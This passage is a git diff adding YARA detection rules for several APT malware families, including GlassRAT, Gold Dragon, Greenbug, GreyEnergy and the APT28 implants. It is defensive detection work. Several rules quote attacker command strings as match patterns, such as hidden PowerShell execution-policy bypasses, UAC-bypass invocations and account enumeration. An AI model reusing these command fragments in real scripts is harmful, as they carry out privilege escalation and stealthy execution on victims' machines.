+			uint16(0) == 0x5a4d and filesize < 80KB and (
+				all of ($x*) or all of ($c*)
+			)
+		) or ( all of them )
+}
+
+rule GhostDragon_Gh0stRAT_Sample3 {
+	meta:
+		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blog.cylance.com/the-ghost-dragon"
+		date = "2016-04-23"
+		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
+		id = "6d4bb99d-28de-59c2-b6f0-6da3cac4ed73"
+	strings:
+		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
+		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
+		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_glassRAT.yar b/yara-Neo23x0/apt_glassRAT.yar
new file mode 100644
index 0000000..e29de34
--- /dev/null
+++ b/yara-Neo23x0/apt_glassRAT.yar
@@ -0,0 +1,72 @@
+/*
+	Yara Rule Set
+	Author: RSA RESEARCH, Florian Roth
+	Date: 2015-11-23
+	Identifier: GlassRAT
+*/
+
+rule glassRAT
+{
+	meta:
+		author = "RSA RESEARCH"
+		date = "3 Nov 2015"
+      description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
+		Info = "GlassRat"
+		/* MD5s
+			37adc72339a0c2c755e7fef346906330
+			59b404076e1af7d0faae4a62fa41b69f
+			5c17395731ec666ad0056d3c88e99c4d
+			e98027f502f5acbcb5eda17e67a21cdc
+			87a965cf75b2da112aea737220f2b5c2
+			22e01495b4419b564d5254d2122068d9
+			42b57c0c4977a890ecb0ea9449516075
+			b7f2020208ebd137616dadb60700b847	*/
+		id = "7739d1f6-f16d-5599-9388-a1d89dbeb355"
+	strings:
+		$bin1 = {85 C0 B3 01} 		/* 	test    eax, eax
+										  mov     bl, 1 */
+		// $bin2 = {34 02}				// xor     al, 2 ---> XOR key for rundll32.exe
+		$bin3 = {68 4C 50 00 10}	// push    offset KeyName  ; "2"
+		$bin4 = {68 48 50 00 10}	// push    offset a3       ; "3"
+		$bin5 = {68 44 50 00 10}	// push    offset a4       ; "4"
+		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}  // Initial Handshake ---> can be added or removed for hunting for different variants
+		//$re1  = {50 00 00 00}
+		//$re2  = {BB 01 00 00}
+		// Dwords of C2 Ports (80 | 443 | 53) 2 -3 times
+		$s1 = "pwlfnn10,gzg" // rundll32.exe XOR 02
+		$s2 = "AddNum"
+		$s3 = "ServiceMain"
+		$s4 = "The Window"
+		$s5 = "off.dat"
+	condition:
+		all of ($bin*) and $hs and 3 of ($s*) //The conditions can be adjusted for hunting for different variants
+}
+
+rule GlassRAT_Generic {
+	meta:
+		description = "Detects GlassRAT Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/peering-into-glassrat/"
+		date = "2015-11-23"
+		score = 80
+		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
+		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
+		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
+		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
+		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
+		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
+		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
+		id = "d09c4a9f-15ad-56d7-b015-94f494420e98"
+	strings:
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "update.dll" fullword ascii
+		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
+		$s4 = "%%temp%%\\%u" fullword ascii
+		$s5 = "\\off.dat" ascii
+		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
+		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
+		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 15MB and 5 of them
+}
diff --git a/yara-Neo23x0/apt_golddragon.yar b/yara-Neo23x0/apt_golddragon.yar
new file mode 100644
index 0000000..d3da3c2
--- /dev/null
+++ b/yara-Neo23x0/apt_golddragon.yar
@@ -0,0 +1,154 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-03
+   Identifier: Gold Dragon
+   Reference: https://goo.gl/rW1yvZ
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule GoldDragon_malware_Feb18_1 {
+   meta:
+      description = "Detects malware from Gold Dragon report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
+      date = "2018-02-03"
+      score = 90
+      id = "1da29f0f-4e83-56a0-b843-3b19d9b9a1b7"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "168c2f7752511dfd263a83d5d08a90db" or
+         pe.imphash() == "0606858bdeb129de33a2b095d7806e74" or
+         pe.imphash() == "51d992f5b9e01533eb1356323ed1cb0f" or
+         pe.imphash() == "bb801224abd8562f9ee8fb261b75e32a"
+      )
+}
+
+rule GoldDragon_Aux_File {
+   meta:
+      description = "Detects export from Gold Dragon - February 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
+      date = "2018-02-03"
+      score = 90
+      id = "8f23dec4-e369-500f-a036-32df13e5543e"
+   strings:
+      $x1 = "/////////////////////regkeyenum////////////" ascii
+   condition:
+      filesize < 500KB and 1 of them
+}
+
+rule GoldDragon_Ghost419_RAT {
+   meta:
+      description = "Detects Ghost419 RAT from Gold Dragon report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/rW1yvZ"
+      date = "2018-02-03"
+      modified = "2023-01-06"
+      hash1 = "45bfa1327c2c0118c152c7192ada429c6d4ae03b8164ebe36ab5ba9a84f5d7aa"
+      hash2 = "ee7a9a7589cbbcac8b6bf1a3d9c5d1c1ada98e68ac2f43ff93f768661b7e4a85"
+      hash3 = "dee482e5f461a8e531a6a7ea4728535aafdc4941a8939bc3c55f6cb28c46ad3d"
+      hash4 = "2df9e274ce0e71964aca4183cec01fb63566a907981a9e7384c0d73f86578fe4"
+      hash5 = "111ab6aa14ef1f8359c59b43778b76c7be5ca72dc1372a3603cd5814bfb2850d"
+      hash6 = "0ca12b78644f7e4141083dbb850acbacbebfd3cfa17a4849db844e3f7ef1bee5"
+      hash7 = "ae1b32aac4d8a35e2c62e334b794373c7457ebfaaab5e5e8e46f3928af07cde4"
+      hash8 = "c54837d0b856205bd4ae01887aae9178f55f16e0e1a1e1ff59bd18dbc8a3dd82"
+      hash9 = "db350bb43179f2a43a1330d82f3afeb900db5ff5094c2364d0767a3e6b97c854"
+      id = "8ac951d5-4a18-50c5-8ded-8a0a6b585fd6"
+   strings:
+      $x2 = "WebKitFormBoundarywhpFxMBe19cSjFnG" ascii
+      $x3 = "\\Microsoft\\HNC\\" ascii
+      $x4 = "\\anternet abplorer" ascii
+      $x5 = "%s\\abxplore.exe" fullword ascii
+      $x6 = "GHOST419" fullword ascii
+      $x7 = "I,m Online. %04d - %02d - %02d - %02d - %02d" fullword ascii
+      $x8 = "//////////////////////////regkeyenum//////////////" ascii
+
+      $s0 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
+      $s1 = "www.GoldDragon.com" fullword ascii
+      $s2 = "/c systeminfo >> %s" fullword ascii
+      $s3 = "/c dir %s\\ >> %s" fullword ascii
+      $s4 = "DownLoading %02x, %02x, %02x" fullword ascii
+      $s5 = "Tran_dll.dll" fullword ascii
+      $s6 = "MpCmdRunkr.dll" fullword ascii
+      $s7 = "MpCmdRun.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         ( pe.exports("ExportFunction") and pe.number_of_exports == 1 ) or
+         ( 1 of ($x*) and 1 of ($s*) ) or
+         3 of them
+      )
+}
+
+rule GoldDragon_RunningRAT {
+   meta:
+      description = "Detects Running RAT from Gold Dragon report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/rW1yvZ"
+      date = "2018-02-03"
+      hash1 = "0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88"
+      hash2 = "2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863"
+      hash3 = "7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51"
+      id = "7de93103-46a5-5aba-90cf-26735a6a580e"
+   strings:
+      $x1 = "C:\\USERS\\WIN7_x64\\result.log" fullword wide
+      $x2 = "rundll32.exe %s RunningRat" fullword ascii
+      $x3 = "SystemRat.dll" fullword ascii
+      $x4 = "rundll32.exe %s ExportFunction" fullword ascii
+      $x5 = "rundll32.exe \"%s\" RunningRat" fullword ascii
+      $x6 = "ixeorat.bin" fullword ascii
+      $x7 = "C:\\USERS\\Public\\result.log" fullword ascii
+
+      $a1 = "emanybtsohteg" fullword ascii /* reversed goodware string 'gethostbyname' */
+      $a2 = "tekcosesolc" fullword ascii /* reversed goodware string 'closesocket' */
+      $a3 = "emankcosteg" fullword ascii /* reversed goodware string 'getsockname' */
+      $a4 = "emantsohteg" fullword ascii /* reversed goodware string 'gethostname' */
+      $a5 = "tpokcostes" fullword ascii /* reversed goodware string 'setsockopt' */
+      $a6 = "putratSASW" fullword ascii /* reversed goodware string 'WSAStartup' */
+
+      $s1 = "ParentDll.dll" fullword ascii
+      $s2 = "MR - Already Existed" fullword ascii
+      $s3 = "MR First Started, Registed OK!" fullword ascii
+      $s4 = "RM-M : LoadResource OK!" fullword ascii
+      $s5 = "D:\\result.log" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+        pe.imphash() == "c78ccc8f02286648c4373d3bf03efc43" or
+        pe.exports("RunningRat") or
+        1 of ($x*) or
+        5 of ($a*) or
+        3 of ($s*)
+      )
+}
+
+rule GoldDragon_RunnignRAT {
+   meta:
+      description = "Detects Running RAT malware from Gold Dragon report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/rW1yvZ"
+      date = "2018-02-03"
+      modified = "2023-01-07"
+      hash1 = "94aa827a514d7aa70c404ec326edaaad4b2b738ffaea5a66c0c9f246738df579"
+      hash2 = "5cbc07895d099ce39a3142025c557b7fac41d79914535ab7ffc2094809f12a4b"
+      hash3 = "98ccf3a463b81a47fdf4275e228a8f2266e613e08baae8bdcd098e49851ed49a"
+      id = "b99b89a4-a764-5d72-8360-8e53461267d9"
+   strings:
+      $s1 = "cmd.exe /c systeminfo " fullword ascii
+      $s2 = "ieproxy.dll" fullword ascii
+      $s3 = "taskkill /f /im daumcleaner.exe" fullword ascii
+      $s4 = "cmd.exe /c tasklist " fullword ascii
+      $s5 = "rundll32.exe \"%s\" Run" fullword ascii
+      $s6 = "Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0" fullword ascii
+      $s7 = "%s\\%s_%03d" fullword wide
+      $s8 = "\\PI_001.dat" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_goldenspy.yar b/yara-Neo23x0/apt_goldenspy.yar
new file mode 100644
index 0000000..498e1dd
--- /dev/null
+++ b/yara-Neo23x0/apt_goldenspy.yar
@@ -0,0 +1,20 @@
+rule APT_MAL_BKA_GoldenSpy_Aug20_1 {
+	meta:
+		description = "Detects variants of GoldenSpy Malware"
+        reference = "https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Warnhinweise/200821_Cyberspionage.html"
+        author = "BKA"
+        date = "2020-08-21"
+		id = "4f47087e-6e68-53ff-9446-72a1751da359"
+	strings:
+		$str01 = {c78510ffffff00000000 c78514ffffff0f000000 c68500ffffff00 c78528ffffff00000000 c7852cffffff0f000000 c68518ffffff00 c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 c645fc14 80bd04feffff00}
+		$str02 = "Ryeol HTTP Client Class" ascii
+		$str03 = "----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-" ascii
+		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\fwkp.exe" ascii
+		$str05 = "svmm" ascii
+		$str06 = "PROTOCOL_" ascii
+		$str07 = "softList" ascii
+		$str08 = "excuteExe" ascii
+	condition:
+	 	uint16(0) == 0x5A4D and 5 of ($str*)
+}
+
diff --git a/yara-Neo23x0/apt_greenbug.yar b/yara-Neo23x0/apt_greenbug.yar
new file mode 100644
index 0000000..b7ad96c
--- /dev/null
+++ b/yara-Neo23x0/apt_greenbug.yar
@@ -0,0 +1,169 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-25
+   Identifier: Greenbug Malware
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Greenbug_Malware_1 {
+   meta:
+      description = "Detects Malware from Greenbug Incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/urp4CD"
+      date = "2017-01-25"
+      hash1 = "dab460a0b73e79299fbff2fa301420c1d97a36da7426acc0e903c70495db2b76"
+      id = "3375a392-4896-572c-9688-00f01ea86ca7"
+   strings:
+      $s1 = "vailablez" fullword ascii
+      $s2 = "Sfouglr" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule Greenbug_Malware_2 {
+   meta:
+      description = "Detects Backdoor from Greenbug Incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/urp4CD"
+      date = "2017-01-25"
+      hash1 = "6b28a43eda5b6f828a65574e3f08a6d00e0acf84cbb94aac5cec5cd448a4649d"
+      hash2 = "21f5e60e9df6642dbbceca623ad59ad1778ea506b7932d75ea8db02230ce3685"
+      hash3 = "319a001d09ee9d754e8789116bbb21a3c624c999dae9cf83fde90a3fbe67ee6c"
+      id = "e5d5ddae-cf6d-579f-9a67-9406838b5e0b"
+   strings:
+      $x1 = "|||Command executed successfully" fullword ascii
+      $x2 = "\\Release\\Bot Fresh.pdb" ascii
+      $x3 = "C:\\ddd\\a1.txt" fullword wide
+      $x4 = "Bots\\Bot5\\x64\\Release" ascii
+      $x5 = "Bot5\\Release\\Ism.pdb" ascii
+      $x6 = "Bot\\Release\\Ism.pdb" ascii
+      $x7 = "\\Bot Fresh\\Release\\Bot" ascii
+
+      $s1 = "/Home/SaveFile?commandId=CmdResult=" fullword wide
+      $s2 = "raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday" fullword ascii
+      $s3 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
+      $s4 = "SELECT * FROM AntiVirusProduct" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 2 of them ) ) or ( 3 of them )
+}
+
+rule Greenbug_Malware_3 {
+   meta:
+      description = "Detects Backdoor from Greenbug Incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/urp4CD"
+      date = "2017-01-25"
+      super_rule = 1
+      hash1 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
+      hash2 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
+      id = "68142bcd-4bd0-5c80-97fc-38811565e21c"
+   strings:
+      $x1 = "F:\\Projects\\Bot\\Bot\\Release\\Ism.pdb" fullword ascii
+      $x2 = "C:\\ddd\\wer2.txt" fullword wide
+      $x3 = "\\Microsoft\\Windows\\tmp43hh11.txt" wide
+   condition:
+      1 of them
+}
+
+rule Greenbug_Malware_4 {
+   meta:
+      description = "Detects ISMDoor Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/urp4CD"
+      date = "2017-01-25"
+      super_rule = 1
+      hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
+      hash2 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
+      id = "d45dea36-6051-5531-afd2-abf27cd06a12"
+   strings:
+      $s1 = "powershell.exe -nologo -windowstyle hidden -c \"Set-ExecutionPolicy -scope currentuser" fullword ascii
+      $s2 = "powershell.exe -c \"Set-ExecutionPolicy -scope currentuser -ExecutionPolicy unrestricted -f; . \"" fullword ascii
+      $s3 = "c:\\windows\\temp\\tmp8873" fullword ascii
+      $s4 = "taskkill /im winit.exe /f" fullword ascii
+      $s5 = "invoke-psuacme"
+      $s6 = "-method oobe -payload \"\"" fullword ascii
+      $s7 = "C:\\ProgramData\\stat2.dat" fullword wide
+      $s8 = "Invoke-bypassuac" fullword ascii
+      $s9 = "Start Keylog Done" fullword wide
+      $s10 = "Microsoft\\Windows\\WinIt.exe" fullword ascii
+      $s11 = "Microsoft\\Windows\\Tmp9932u1.bat\"" fullword ascii
+      $s12 = "Microsoft\\Windows\\tmp43hh11.txt" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 1 of them ) or ( 3 of them )
+}
+
+rule Greenbug_Malware_5 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/urp4CD"
+      date = "2017-01-25"
+      modified = "2023-01-27"
+      super_rule = 1
+      hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
+      hash2 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
+      hash3 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
+      hash4 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
+      id = "12362711-f466-5f9e-9227-1cf84aec93e5"
+   strings:
+      $x1 = "cmd /u /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter" fullword ascii
+      $x2 = "cmd /a /c net user administrator /domain >>" fullword ascii
+      $x3 = "cmd /a /c netstat -ant >>\"%localappdata%\\Microsoft\\" ascii
+
+      $o1 = "========================== (Net User) ==========================" ascii fullword
+   condition:
+      filesize < 2000KB and (
+         ( uint16(0) == 0x5a4d and 1 of them ) or
+         $o1
+      )
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-26
+   Identifier: Greenbug
+   Reference: http://www.clearskysec.com/greenbug/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Greenbug_Malware_Nov17_1 {
+   meta:
+      description = "Detects Greenbug Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.clearskysec.com/greenbug/"
+      date = "2017-11-26"
+      hash1 = "6e55e161dc9ace3076640a36ef4a8819bb85c6d5e88d8e852088478f79cf3b7c"
+      hash2 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
+      id = "50816c09-5f38-5e05-9915-b96f00ee4b88"
+   strings:
+      $x1 = "AgentV2.exe  -c  SampleDomain.com" fullword ascii
+      $x2 = ".ntpupdateserver.com" fullword ascii
+      $x3 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
+      $x4 = "a67d0db885a3432576548a2a03707334" fullword ascii
+      $x5 = "a67d0db8a2a173347654432503702aa3" fullword ascii
+      $x6 = "!!! can not create output file !!!" fullword ascii
+
+      $s1 = "\\runlog*" ascii
+      $s2 = "can not specify username!!" fullword ascii
+      $s3 = "Agent can not be configured" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+        pe.imphash() == "58ba44f7ff5436a603fec3df97d815ea" or
+        pe.imphash() == "538805ecd776b9a42e71aebf94fde1b1" or
+        1 of ($x*) or
+        3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_greyenergy.yar b/yara-Neo23x0/apt_greyenergy.yar
new file mode 100644
index 0000000..e7372c7
--- /dev/null
+++ b/yara-Neo23x0/apt_greyenergy.yar
@@ -0,0 +1,97 @@
+/*
+   YARA Rule Set
+   Author: Florian Roth
+   Date: 2018-10-21
+   Identifier: Grey Energy
+   Reference: https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/
+   License: Detetction Rule License 1.1 (https://github.com/SigmaHQ/sigma/blob/master/LICENSE.Detection.Rules.md)
+*/
+
+import "pe"
+
+rule APT_GreyEnergy_Malware_Oct18_1 {
+   meta:
+      description = "Detects samples from Grey Energy report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      hash1 = "6c52a5850a57bea43a0a52ff0e2d2179653b97ae5406e884aee63e1cf340f58b"
+      id = "fc997540-075e-5f1c-9238-135c1572553b"
+   strings:
+      $x1 = "%SystemRoot%\\System32\\thinmon.dll" fullword ascii
+      $s2 = "'Cannot delete list entry (fatal error)!9The module %s cannot be executed on this system (0x%.4x).%Enumerate all sessions on TSE" wide
+      $s8 = "cbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbe" ascii
+      $s14 = "configure the service" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and
+      pe.imphash() == "98d1ad672d0db4b4abdcda73cc9835cb" and
+      all of them
+}
+
+rule APT_GreyEnergy_Malware_Oct18_2 {
+   meta:
+      description = "Detects samples from Grey Energy report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      hash1 = "c6a54912f77a39c8f909a66a940350dcd8474c7a1d0e215a878349f1b038c58a"
+      id = "50830741-ba3d-505c-bb21-8cedc2162f96"
+   strings:
+      $s1 = "WioGLtonuaptWmrnttfepgetneemVsnygnV" fullword ascii
+      $s2 = "PnSenariopoeKerGEtxrcy" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and 2 of them
+}
+
+rule APT_GreyEnergy_Malware_Oct18_3 {
+   meta:
+      description = "Detects samples from Grey Energy report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      hash1 = "0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0"
+      id = "cc365dbf-1448-5219-95f5-d1154000f52d"
+   strings:
+      $x1 = "USQTUNPPQONOPOQUMSNUTRMRRLVPUOPMROPMPMQTPNPONVUOUQOMMNNSRSRQQVTPPRSSNVSTURTMMOPTONSQTOMONQVMQNUSONTQTUTSRRPVTONUQNORQMRRNRUSPS" fullword ascii
+      $x2 = "tEMPiuP" fullword ascii
+      $x3 = "sryCEMieye" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule APT_GreyEnergy_Malware_Oct18_4 {
+   meta:
+      description = "Detects samples from Grey Energy report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      hash1 = "6974b8acf6a8f7684673b01753c3a8248a1c491900cccf771db744ca0442f96a"
+      hash2 = "165a7853ef51e96ce3f88bb33f928925b24ca5336e49845fc5fc556812092740"
+      hash3 = "4470e40f63443aa27187a36bbb0c2f4def42b589b61433630df842b6e365ae3d"
+      hash4 = "c21cf6018c2ee0a90b9d2c401aae8071c90b5a4bc9848a94d678d77209464f79"
+      id = "1a2df257-a639-5868-a005-690d64cfbf2b"
+   strings:
+      $x1 = "iiodttd.eWt" fullword ascii
+      $x2 = "irnnaar-ite-ornaa-naa-asoeienaeaanlagoeas:acnuihaaa" fullword ascii
+      $x3 = "NURVNTURVORSMSPPRTQMPTTQOQRP" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "279adfbd42308a07b3131ee57d067b3e" or
+         1 of them
+      )
+}
+
+rule APT_GreyEnergy_Malware_Oct18_5 {
+   meta:
+      description = "Detects samples from Grey Energy report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      hash1 = "037723bdb9100d19bf15c5c21b649db5f3f61e421e76abe9db86105f1e75847b"
+      hash2 = "b602ce32b7647705d68aedbaaf4485f1a68253f8f8132bd5d5f77284a6c2d8bb"
+      id = "a8c4517d-912d-5264-b9ab-acdf37fc4d56"
+   strings:
+      $s12 = "WespySSld.eQ" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_grizzlybear_uscert.yar b/yara-Neo23x0/apt_grizzlybear_uscert.yar
new file mode 100644
index 0000000..30f16ad
--- /dev/null
+++ b/yara-Neo23x0/apt_grizzlybear_uscert.yar
@@ -0,0 +1,1542 @@
+/*
+   Yara Rule Set
+   Author: US CERT
+   Date: 2017-02-10
+   Identifier: US CERT Report on Grizzly Steppe - APT28/APT29
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IMPLANT_1_v1 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "eb3fc39b-08ca-51df-a9b4-7b28b107b700"
+   strings:
+      $STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0
+         EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56
+         E8 ?? ?? FF FF 59}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_1_v2 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "c7beab50-8e73-5161-be7e-bc3f8351873a"
+   strings:
+      $STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00
+         00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 }
+      $STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81
+         80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 }
+   condition:
+      (uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_1_v3 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "517133d2-813d-5f44-84c2-a53c62d7a688"
+   strings:
+      $rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_1_v4 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "0362b885-de59-5715-80f2-106e5e91d1fa"
+   strings:
+      $XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ??
+         ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 }
+   condition:
